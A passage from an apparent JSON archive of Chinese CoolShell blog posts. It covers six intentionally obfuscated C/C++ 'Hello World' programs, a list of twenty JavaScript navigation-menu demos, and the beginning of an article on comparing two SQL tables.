，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9749.html\"><img alt=\"Javascript 装载和执行\" height=\"150\" src=\"../wp-content/uploads/2013/06/javascript-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9749.html\">Javascript 装载和执行</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2593.html\"><img alt=\"Web版的VNC\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2593.html\">Web版的VNC</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2053.html\"><img alt=\"最为奇怪的程序语言的特性\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2053.html\">最为奇怪的程序语言的特性</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1850.html\"><img alt=\"Javascript程序员嘴最脏??\" height=\"150\" src=\"../wp-content/uploads/2009/11/programming_language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1850.html\">Javascript程序员嘴最脏??</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/909.html\">7个免费强大的Ajax文件管理器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-25 6个变态的C语言Hello World程序.html",
    "content": "<html><body><p>下面的六个程序片段主要完成这些事情：</p>\n<ol>\n<li>输出Hello, World</li>\n<li>混乱C语言的源代码</li>\n</ol>\n<p>下面的所有程序都可以在GCC下编译通过，只有最后一个需要动用C++的编译器g++才能编程通过。</p>\n<p><strong>hello1.c</strong></p>\n<pre class=\"EnlighterJSRAW\">\n    #define _________ }\n    #define ________ putchar\n    #define _______ main\n    #define _(a) ________(a);\n    #define ______ _______(){\n    #define __ ______ _(0x48)_(0x65)_(0x6C)_(0x6C)\n    #define ___ _(0x6F)_(0x2C)_(0x20)_(0x77)_(0x6F)\n    #define ____ _(0x72)_(0x6C)_(0x64)_(0x21)\n    #define _____ __ ___ ____ _________\n    #include&lt;stdio.h&gt;\n    _____\n</pre>\n<p><span id=\"more-914\"></span></p>\n<p><strong>hello2.c</strong> </p>\n<pre class=\"EnlighterJSRAW\">\n    #include&lt;stdio.h&gt;\n    main(){\n      int x=0,y[14],*z=&amp;y;*(z++)=0x48;*(z++)=y[x++]+0x1D;\n      *(z++)=y[x++]+0x07;*(z++)=y[x++]+0x00;*(z++)=y[x++]+0x03;\n      *(z++)=y[x++]-0x43;*(z++)=y[x++]-0x0C;*(z++)=y[x++]+0x57;\n      *(z++)=y[x++]-0x08;*(z++)=y[x++]+0x03;*(z++)=y[x++]-0x06;\n      *(z++)=y[x++]-0x08;*(z++)=y[x++]-0x43;*(z++)=y[x]-0x21;\n      x=*(--z);while(y[x]!=NULL)putchar(y[x++]);\n    }\n</pre>\n<p><strong>hello3.c</strong></p>\n<pre class=\"EnlighterJSRAW\">\n    #include&lt;stdio.h&gt;\n    #define __(a) goto a;\n    #define ___(a) putchar(a);\n    #define _(a,b) ___(a) __(b);\n    main()\n    { _:__(t)a:_('r',g)b:_('$',p)\n      c:_('l',f)d:_(' ',s)e:_('a',s)\n      f:_('o',q)g:_('l',h)h:_('d',n)\n      i:_('e',w)j:_('e',x)k:_('\\n',z)\n      l:_('H',l)m:_('X',i)n:_('!',k)\n      o:_('z',q)p:_('q',b)q:_(',',d)\n      r:_('i',l)s:_('w',v)t:_('H',j)\n      u:_('a',a)v:_('o',a)w:_(')',k)\n      x:_('l',c)y:_('\\t',g)z:___(0x0)}\n</pre>\n<p><strong>hello4.c</strong></p>\n<pre class=\"EnlighterJSRAW\">\n    int n[]={0x48,\n    0x65,0x6C,0x6C,\n    0x6F,0x2C,0x20,\n    0x77,0x6F,0x72,\n    0x6C,0x64,0x21,\n    0x0A,0x00},*m=n;\n    main(n){putchar\n    (*m)!='\\0'?main\n    (m++):exit(n++);}\n</pre>\n<p><strong>hello5.c</strong></p>\n<pre class=\"EnlighterJSRAW\">\n    main(){int i,n[]={(((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;\n    1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))+((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))), (((1\n    &lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))-((1&lt;&lt;1)&lt;&lt;(\n    1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))+((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))+ (1\n    &lt;&lt;(1&gt;&gt;1))),(((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt; (1\n    &lt;&lt;1))-((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))- ((1\n    &lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))),(((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1\n    &lt;&lt;1)&lt;&lt;(1&lt;&lt;1))-((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1\n    )))-((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))),(((1&lt;&lt;1)&lt;&lt; (1\n    &lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))-((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(\n    1&lt;&lt;(1&gt;&gt;1)))-(1&lt;&lt;(1&gt;&gt;1))),(((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1\n    )&lt;&lt;(1&lt;&lt;1))+((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))\n    -((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))),((1&lt;&lt;1)&lt;&lt; (1&lt;&lt;1)\n    &lt;&lt;(1&lt;&lt;1)),(((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;\n    1))-((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))-(1&lt;&lt;(1&gt;&gt;1))),(((1&lt;&lt;\n    1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))-((1&lt;&lt;1)&lt;&lt; (1\n    &lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))-(1&lt;&lt;(1&gt;&gt;1))), (((1&lt;&lt;1\n    )&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))- ((1&lt;&lt;1)&lt;&lt; (1\n    &lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))+(1&lt;&lt;1)), (((1&lt;&lt;1)&lt;&lt; (\n    1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt; (1&lt;&lt;1))-((1&lt;&lt;1)&lt;&lt; (1&lt;&lt;1)\n    &lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))-((1&lt;&lt;1) &lt;&lt;(1&lt;&lt; (1&gt;&gt;1)))),\n    (((1&lt;&lt;1)&lt;&lt; (1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt; (1&lt;&lt;1))- ((1\n    &lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))+((1&lt;&lt;1)&lt;&lt; (1&lt;&lt;(1&gt;&gt;\n    1)))), (((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1) &lt;&lt;(1&lt;&lt;1))+(1&lt;&lt;(1\n    &gt;&gt;1))),(((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))+((1&lt;&lt;1)&lt;&lt; (1&lt;&lt;(\n    1&gt;&gt;1))) + (1&lt;&lt; (1&gt;&gt;1)))}; for(i=(1&gt;&gt;1);i\n    &lt;(((1&lt;&lt;1) &lt;&lt;(1&lt;&lt;1))+((1 &lt;&lt;1)&lt;&lt; (1&lt;&lt;(1&gt;&gt;1\n    ))) + (1&lt;&lt;1)); i++) printf(\"%c\",n[i]); }\n</pre>\n<p><strong>hello6.cpp</strong></p>\n<p>下面的程序只能由C++的编译器编译（比如：g++）</p>\n<pre class=\"EnlighterJSRAW\">\n    #include &lt;stdio.h&gt;\n    #define _(_) putchar(_);\n    int main(void){int i = 0;_(\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++i)_(++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++i)_(++++++++++++++\n    i)_(--++i)_(++++++i)_(------\n    ----------------------------\n    ----------------------------\n    ----------------------------\n    ----------------------------\n    ----------------i)_(--------\n    ----------------i)_(++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++i)\n    _(----------------i)_(++++++\n    i)_(------------i)_(--------\n    --------i)_(----------------\n    ----------------------------\n    ----------------------------\n    ----------------------------\n    ----------------------------\n    ------i)_(------------------\n    ----------------------------\n    i)return i;}\n</pre>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/914.html\">6个变态的C语言Hello World程序</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-26 20个优秀的Javascript导航技术.html",
    "content": "<html><body><p>以前向大家介绍过 《<a href=\"https://coolshell.cn/articles/562.html\" target=\"_blank\">30种时尚的CSS网站导航条</a>》。这里，我们将向大家介绍一下使用Javascript设计的WEB页面的导航条。</p>\n<p>因为Javascript可以处理和用户的交互，所以使用Javascript会有更好的用户体验。在这篇文章里，你可以看到一些<strong>令人恐怖和独一无二的Javascript制作的导航条</strong>。</p>\n<h3>1. <a href=\"http://greengeckodesign.com/projects/menumatic.aspx\" target=\"_blank\">MenuMatic</a></h3>\n<p>这个示例主要是展示了一个排序的纵向或横向的下拉式菜单导航条。</p>\n<p><a href=\"http://greengeckodesign.com/projects/menumatic/examples/vertical/\"><img alt=\"menumatic\" height=\"282\" src=\"http://images.sixrevisions.com/2009/04/29-02_menu_matic.jpg\" width=\"500\"/></a></p>\n<p><a href=\"http://greengeckodesign.com/projects/menumatic/examples/vertical/\">演示页面</a></p>\n<p><span id=\"more-918\"></span></p>\n<h3>2. <a href=\"http://www.shopdev.co.uk/blog/animated-menus-using-jquery/\">JQuery制作的动画按钮菜单</a></h3>\n<p>当鼠标经过的时候，按钮会有下压的感觉。</p>\n<p><a href=\"http://www.shopdev.co.uk/blog/menuDemo.html\"><img alt=\"Animated Menu using jQuery\" height=\"151\" src=\"http://images.sixrevisions.com/2009/04/29-07_animated_menu.jpg\" width=\"500\"/></a></p>\n<p><a href=\"http://www.shopdev.co.uk/blog/menuDemo.html\">演示页面</a></p>\n<h3>3. <a href=\"http://www.gayadesign.com/diy/jquery-convertion-garagedoor-effect-using-javascript/\" target=\"blank\">jQuery 卷帘门特效导航条</a></h3>\n<p><a href=\"http://www.gayadesign.com/about/\" target=\"_blank\">Gaya Kessler</a> 设计了这样一种卷帘门式导航条，相当的酷。</p>\n<p><a href=\"http://www.gayadesign.com/scripts/jquerygaragedoor/\"><img alt=\"Garagedoor Effect using jQuery\" height=\"109\" src=\"http://images.sixrevisions.com/2009/04/29-01_garage_door.jpg\" width=\"500\"/></a></p>\n<p><a href=\"http://www.gayadesign.com/scripts/jquerygaragedoor/\" target=\"_blank\">演示页面</a></p>\n<h3>4. <a href=\"http://sonicradish.com/labs/jGlideMenu/current/?src=ASL_LAB\" target=\"_blank\">JGlide 菜单</a></h3>\n<p>一个独特的平面式菜单，整个菜单可以被随意拖动。</p>\n<p><a href=\"http://sonicradish.com/labs/jGlideMenu/current/static_demo.html\"><img alt=\"JGlide Menu\" height=\"200\" src=\"http://images.sixrevisions.com/2009/04/29-18_jglide.jpg\" width=\"500\"/></a></p>\n<p><a href=\"http://sonicradish.com/labs/jGlideMenu/current/static_demo.html\" target=\"_blank\">演示页面</a></p>\n<h3>5. <a href=\"http://hv-designs.co.uk/2009/02/17/sliding-jquery-menu/\" target=\"_blank\">jQuery 纵向滑动式菜单</a></h3>\n<p><a href=\"http://hv-designs.co.uk/\" target=\"_blank\">HVDesigns</a> 设计这个下拉式滑动式菜单。</p>\n<p><a href=\"http://www.hv-designs.co.uk/tutorials/sliding_menu/sliding_menu.html\"><img alt=\"Sliding jQuery Menu\" height=\"192\" src=\"http://images.sixrevisions.com/2009/04/29-03_verticle_sliding.jpg\" width=\"500\"/></a></p>\n<p><a href=\"http://www.hv-designs.co.uk/tutorials/sliding_menu/sliding_menu.html\" target=\"_blank\">演示页面</a></p>\n<h3>6. <a href=\"http://www.mattweltman.com/sliding_tabs.html\">Perspective Tabs</a></h3>\n<p>这个技术很酷了，有点类似于iPhone，通过鼠标可以滚动导航条。</p>\n<p><a href=\"http://www.mattweltman.com/sliding_tabs.html\"><img alt=\"Perspective Tabs\" height=\"298\" src=\"http://images.sixrevisions.com/2009/04/29-13_mootools_tabs.jpg\" width=\"500\"/></a></p>\n<p><a href=\"http://www.mattweltman.com/sliding_tabs.html\">演示页面</a></p>\n<h3>7. <a href=\"http://woork.blogspot.com/2008/01/simple-css-vertical-menu-digg-like.html\">Digg.com式的下拉菜单</a></h3>\n<p>这个digg.com式的下拉菜单只使用了非常小的Javascript代码。</p>\n<p><a href=\"http://woork.blogspot.com/2008/01/simple-css-vertical-menu-digg-like.html\"><img alt=\"Vertical Digg-like Menu\" height=\"149\" src=\"http://images.sixrevisions.com/2009/04/29-09_digg_like_menu.jpg\" width=\"500\"/></a></p>\n<h3>8. <a href=\"http://www.gmarwaha.com/blog/2007/08/23/lavalamp-for-jquery-lovers/\">LavaLamp</a></h3>\n<p>当鼠标经过的时候，菜单项上会有一个小阴影尾随着。以前，这样的技术基本上通过Flash完成的。</p>\n<p><a href=\"http://www.gmarwaha.com/blog/2007/08/23/lavalamp-for-jquery-lovers/\"><img alt=\"LavaLamp\" height=\"96\" src=\"http://images.sixrevisions.com/2009/04/29-14_mootools_fancy_menu.jpg\" width=\"500\"/></a></p>\n<h3>9. <a href=\"http://marcgrabanski.com/pages/code/fisheye-menu\" target=\"_blank\">鱼眼菜单</a></h3>\n<p>鼠标经过的时候，图标会变得大起来。这个技术相当不错。</p>\n<p><a href=\"http://marcgrabanski.com/pages/code/fisheye-menu\"><img alt=\"Fisheye Menu\" height=\"163\" src=\"http://images.sixrevisions.com/2009/04/29-17_fisheye.jpg\" width=\"500\"/></a></p>\n<h3>10. <a href=\"http://www.dezinerfolio.com/2007/07/19/simple-javascript-accordions/\" target=\"_blank\">简单的JavaScript折叠式菜单</a></h3>\n<p>相当不错的一相折叠式菜单。</p>\n<p><a href=\"http://www.dezinerfolio.com/wp-content/uploads/accordemo/01.html\"><img alt=\"Simple JavaScript Accordions\" height=\"247\" src=\"http://images.sixrevisions.com/2009/04/29-04_javascript_accordian.jpg\" width=\"500\"/></a></p>\n<p><a href=\"http://www.dezinerfolio.com/wp-content/uploads/accordemo/01.html\" target=\"_blank\">演示页面</a></p>\n<h3>11. <a href=\"http://www.leigeber.com/2008/05/sliding-javascript-menu-highlight-1kb/\">高亮滑动式菜单</a></h3>\n<p>这个特效和第8个很类似。</p>\n<p><a href=\"http://www.leigeber.com/2008/05/sliding-javascript-menu-highlight-1kb/\"><img alt=\"Sliding JavaScript Menu Highlight\" height=\"107\" src=\"http://images.sixrevisions.com/2009/04/29-08_highlight_menu.jpg\" width=\"500\"/></a></p>\n<h3>12. <a href=\"http://css-tricks.com/learning-jquery-fading-menu-replacing-content/\" target=\"_blank\">高亮式菜单</a></h3>\n<p>鼠标经过的时候，菜单项会高亮起来。而没有鼠标的经过的时候，其是暗淡的。</p>\n<p><a href=\"http://css-tricks.com/examples/MenuFader/\"><img alt=\"Fading Menu - Replacing Content\" height=\"129\" src=\"http://images.sixrevisions.com/2009/04/29-05_fading_menu.jpg\" width=\"500\"/></a></p>\n<p><span style=\"text-decoration: underline;\"><span style=\"color: #0000ff;\"> <a href=\"http://css-tricks.com/examples/MenuFader/\" target=\"_blank\">演示页面</a></span></span></p>\n<h3>13. <a href=\"http://javascript-array.com/scripts/simple_drop_down_menu/\" target=\"_blank\">简单的多级下拉菜单</a></h3>\n<p>这是一个教程，教你怎么做这个菜单。</p>\n<p><a href=\"http://javascript-array.com/scripts/simple_drop_down_menu/\"><img alt=\"Simple Multi-level Drop-Down Menu\" height=\"167\" src=\"http://images.sixrevisions.com/2009/04/29-06_multil_level_drop_down.jpg\" width=\"500\"/></a></p>\n<h3>14. <a href=\"http://snook.ca/archives/javascript/jquery-bg-image-animations/\" target=\"_blank\">jQuery 制作的背景图动画菜单</a></h3>\n<p><a href=\"http://snook.ca/technical/jquery-bg/\"><img alt=\"Using jQuery for Background Image Animations\" height=\"150\" src=\"http://images.sixrevisions.com/2009/04/29-12_background_position.jpg\" width=\"500\"/></a></p>\n<p><span style=\"text-decoration: underline;\"><span style=\"color: #0000ff;\"> <a href=\"http://snook.ca/technical/jquery-bg/\">演示页面</a></span></span></p>\n<h3>15. <a href=\"http://www.chromasynthetic.com/blog/mootools-demo-redux/57/\">Mootools Redux</a></h3>\n<p>使用MooTools 制作的一个“鱼眼”式的导航条。</p>\n<p><a href=\"http://www.chromasynthetic.com/blog/uploads/mootools_nav_example.html\"><img alt=\"Mootools Redux\" height=\"144\" src=\"http://images.sixrevisions.com/2009/04/29-10_mootools_demo.jpg\" width=\"500\"/></a></p>\n<p><span style=\"text-decoration: underline;\"><span style=\"color: #0000ff;\"> <a href=\"http://www.chromasynthetic.com/blog/uploads/mootools_nav_example.html\" target=\"_blank\">演示页面</a></span></span></p>\n<h3>16. <a href=\"http://berndmatzner.de/jquery/hoveraccordion/\">折叠式边栏菜单</a></h3>\n<p><a href=\"http://berndmatzner.de/jquery/hoveraccordion/\"><img alt=\"Using jQuery for Background Image Animations\" height=\"200\" src=\"http://images.sixrevisions.com/2009/04/29-11_hover_accordion.jpg\" width=\"500\"/></a></p>\n<h3>17. <a href=\"http://tools.uvumi.com/dropdown.html\">UvumiTools 式的下拉菜单</a></h3>\n<p>另一个基于MooTools 制作的下拉菜单。</p>\n<p><a href=\"http://tools.uvumi.com/dropdown.html\"><img alt=\"UvumiTools Dropdown Menu\" height=\"152\" src=\"http://images.sixrevisions.com/2009/04/29-15_uvumitools%20_menu.jpg\" width=\"500\"/></a></p>\n<h3>18. <a href=\"http://stilbuero.de/jquery/tabs_3/\" target=\"_blank\">jQuery UI Tabs</a></h3>\n<p>使用jQuery制作的Tab页.</p>\n<p><a href=\"http://stilbuero.de/jquery/tabs_3/\"><img alt=\"jQuery UI Tabs\" height=\"115\" src=\"http://images.sixrevisions.com/2009/04/29-16_jquery_ui_tabs.jpg\" width=\"500\"/></a></p>\n<p><span style=\"text-decoration: underline;\"><span style=\"color: #0000ff;\"> <a href=\"http://stilbuero.de/jquery/tabs_3/\" target=\"_blank\">演示页面</a></span></span></p>\n<h3>19. <a href=\"http://yura.thinkweb2.com/scripting/contextMenu/\" target=\"_blank\">右键菜单Proto.Menu </a></h3>\n<p>使用Prototype 框架制作的右键菜单。</p>\n<p><a href=\"http://yura.thinkweb2.com/scripting/contextMenu/\"><img alt=\"Proto.Menu: Right Click Menu\" height=\"175\" src=\"http://images.sixrevisions.com/2009/04/29-19_right_click.jpg\" width=\"500\"/></a></p>\n<h3>20. <a href=\"http://www.456bereastreet.com/archive/200705/accessible_expanding_and_collapsing_menu/\" target=\"_blank\">展开/收起式菜单</a></h3>\n<p>一个支持两层的有点类似于树形的菜单。</p>\n<p><a href=\"http://www.456bereastreet.com/lab/accessible-expanding-collapsing-menu/\"><img alt=\"Accessible Expanding and Collapsing menu\" height=\"213\" src=\"http://images.sixrevisions.com/2009/04/29-20_exp_col_menu.jpg\" width=\"500\"/></a></p>\n<p><a href=\"http://www.456bereastreet.com/lab/accessible-expanding-collapsing-menu/\" target=\"_blank\">演示页面</a></p>\n<p>文章：<a href=\"http://sixrevisions.com/javascript/20-excellent-javascript-navigation-techniques-and-examples/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/918.html\">20个优秀的Javascript导航技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-27 如何比较两个数据表.html",
    "content": "<html><body><p>有些时候，我们可能想要比较一下两个数据表，以找到其中不同的数据。比如，在进行数据移植的时候，或是在合并数据的时候，或是在比对验证数据的时候。当然比较两个表，需要这两个表结构是一样的。</p>\n<p>我们先假设一下有如下表结构：</p>\n<pre class=\"EnlighterJSRAW\">\nCREATE TABLE jajal\n(\n    user_id integer NOT NULL,\n    first_name character varying(255),\n    last_name character varying(255),\n    grade character(1),\n    CONSTRAINT jajal_pkey PRIMARY KEY (user_id)\n)\n</pre>\n<p><span id=\"more-925\"></span><br/>\n然后，我们有两张表——jajal和jajal_copy，其内容如下：</p>\n<h4> jajal</h4>\n<table border=\"0\" cellspacing=\"1\" class=\"wptable rowstyle-alt\" id=\"wptable-7\">\n<thead>\n<tr>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">user_id</th>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">first_name</th>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">last_name</th>\n<th align=\"center\" class=\"sortable\" style=\"width: 30px;\">grade</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"center\" style=\"width: 30px;\">1</td>\n<td align=\"center\" style=\"width: 30px;\">Some</td>\n<td align=\"center\" style=\"width: 30px;\">Dude</td>\n<td align=\"center\" style=\"width: 30px;\">A</td>\n</tr>\n<tr class=\"alt\">\n<td align=\"center\" style=\"width: 30px;\">2</td>\n<td align=\"center\" style=\"width: 30px;\">Other</td>\n<td align=\"center\" style=\"width: 30px;\">Guy</td>\n<td align=\"center\" style=\"width: 